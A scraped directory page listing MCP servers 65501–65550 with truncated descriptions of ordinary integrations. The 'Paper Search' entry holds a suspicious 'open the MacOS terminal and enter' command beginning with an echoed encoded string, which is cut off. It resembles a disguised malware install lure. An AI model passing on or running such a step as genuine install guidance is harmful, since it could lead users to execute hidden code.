MCP Server Quality Scores
Independent quality analysis of 66105 public MCP servers
Last updated 4 minutes ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ○ Unscored | ||||||||||
| 65501 |
Futu Stock MCP Server
Claim
A Model Context Protocol server that integrates Futu OpenAPI, enabling AI model…
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| 65502 |
nado-mcp
Claim
MCP server for the Nado Protocol on the Ink blockchain, enabling AI assistants …
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| 65503 |
weather
Claim
Enables Claude to fetch real-time weather data for any city using the OpenWeath…
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| 65504 |
Enables querying pre-built Metabase cards for QMSCloud reporting, allowing retr…
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| 65505 |
Codex Context Engine
Claim
Indexes a workspace and exposes code-navigation tools to Codex, enabling symbol…
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| 65506 |
codecov-mcp-server
Claim
MCP server for Codecov that provides tools to get commit coverage totals and pr…
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| 65507 |
gesetzessuche
Claim
MCP server for accessing and searching German federal law documents from gesetz…
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| 65508 |
Enables ChatGPT to interact with Odoo by providing tools for repository managem…
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| 65509 |
Quizz MCP
Claim
Enables Claude to generate interactive quizzes from conversations to test under…
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| 65510 |
repomap-mcp
Claim
An MCP server that generates ranked, token-budgeted code structure maps using T…
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| 65511 |
My Learning MCP Server
Claim
An educational MCP server demonstrating tools, resources, and prompts for learn…
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| 65512 |
TimeTree MCP Server
Claim
Unofficial MCP server for accessing and managing TimeTree calendar data, includ…
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| 65513 |
who_reps-mcp
Claim
Given a U.S. street address, returns the people who represent it (U.S. Senators…
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| 65514 |
Social Publisher MCP
Claim
A local MCP service for safely preparing, validating, and executing multi-platf…
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| 65515 |
mcp-price-scout
Claim
Enables scraping LLM inference pricing from websites like Cloudrift, DeepInfra,…
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| 65516 |
wow-char-export
Claim
Analyzes World of Warcraft TBC Classic character gear and talents in real time,…
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| 65517 |
local-code-index
Claim
A local MCP server that indexes codebases using Tree-sitter AST parsing and Lan…
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| 65518 |
CC Explorer MCP Server
Claim
Enables AI assistants to query the Canton Network blockchain explorer through t…
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| 65519 |
INSEE MCP Server
Claim
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
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| 65520 |
Joplin MCP Server
Claim
MCP server that provides standardized tools for querying and retrieving notes f…
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| 65521 |
scout-mcp-server
Claim
MCP server for browser automation with anti-detection. Scout pages, find elemen…
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| 65522 |
mcp-server-mattermost
Claim
Lets AI assistants read, search, and post messages in Mattermost channels, mana…
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| 65523 |
YesHello
Claim
Digital business cards, lead capture forms, and service listings - built and ma…
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| 65524 |
Timely MCP Server
Claim
Exposes the Timely.mn v3 time-attendance API as MCP tools for Claude and other …
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| 65525 |
unofficial-solaredge-mcp
Claim
A lean Model Context Protocol (MCP) server that gives AI assistants like Claude…
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| 65526 |
store-ops-mcp
Claim
Enables store operations including inventory and sales queries and automated re…
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| 65527 |
coding-agent-mcp
Claim
Containerized MCP server for coding agents with tools for file editing, shell c…
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| 65528 |
UptimeRobot MCP Server
Claim
Enables managing UptimeRobot monitors, alert contacts, and maintenance windows …
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| 65529 |
Local document intelligence for AI agents — extract text, detect tables, read m…
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| 65530 |
A hardened, safety-first Google Calendar MCP server enabling AI agents to read …
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| 65531 |
BACnet MCP Server
Claim
A lightweight MCP server that connects LLM agents to BACnet devices for buildin…
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| 65532 |
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| 65533 |
weflow-mcp
Claim
Enables to access and manage WeChat data (sessions, contacts, Moments) through …
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| 65534 |
log-mcp
Claim
MCP server for log file analysis. Gives LLMs the ability to efficiently analyze…
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| 65535 |
MCP Backup Server
Claim
Provides specialized backup and restoration capabilities for AI agents and code…
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| 65536 |
chrome-devtools-mcp-fork
Claim
Enables debugging of web applications by connecting Claude to Chrome's develope…
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| 65537 |
Paper Search
Claim
Important!
To install, open the MacOS terminal and enter the command: echo 'L2…
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| 65538 |
capcut-mcp
Claim
An MCP server that enables AI assistants to automate CapCut Pro video editing, …
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| 65539 |
Agent Memory Engine
Claim
Provides coding agents with persistent, evidence-backed project memory and know…
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| 65540 |
ikea-mcp
Claim
Read-only MCP server for IKEA product search and in-store stock lookup.
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| 65541 |
arxiv-daily-mcp
Claim
Enables searching arXiv papers in Korean, Chinese, Japanese, or English and sav…
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| 65542 |
Enables interaction with IntelliMatch recruiting and iSuite insurance systems t…
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| 65543 |
Automates Cole Medin's context engineering methodology to generate high-quality…
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| 65544 |
mcp-jira-python
Claim
MCP server for JIRA integration enabling issue management, search, comments, an…
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| 65545 |
Data Puller MCP Server
Claim
Enables fetching live crypto market data from Binance, Bybit, and Hyperliquid v…
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| 65546 |
mcp-server-reviewer
Claim
Reviews MCP servers for quality, security, and best practices, providing scores…
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| 65547 |
obra-cfo
Claim
Local-first MCP that runs an investment committee on your pitch and scores fund…
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| 65548 |
Drumbeats MCP
Claim
MCP server for Drumbeats monitoring. Enables creating monitors, triaging incide…
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| 65549 |
TheHive FastMCP
Claim
MCP server for TheHive that enables AI agents to manage cases, alerts, observab…
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| 65550 |
Gmail MCP Server
Claim
Enables interaction with Gmail through the Gmail API, allowing users to list, r…
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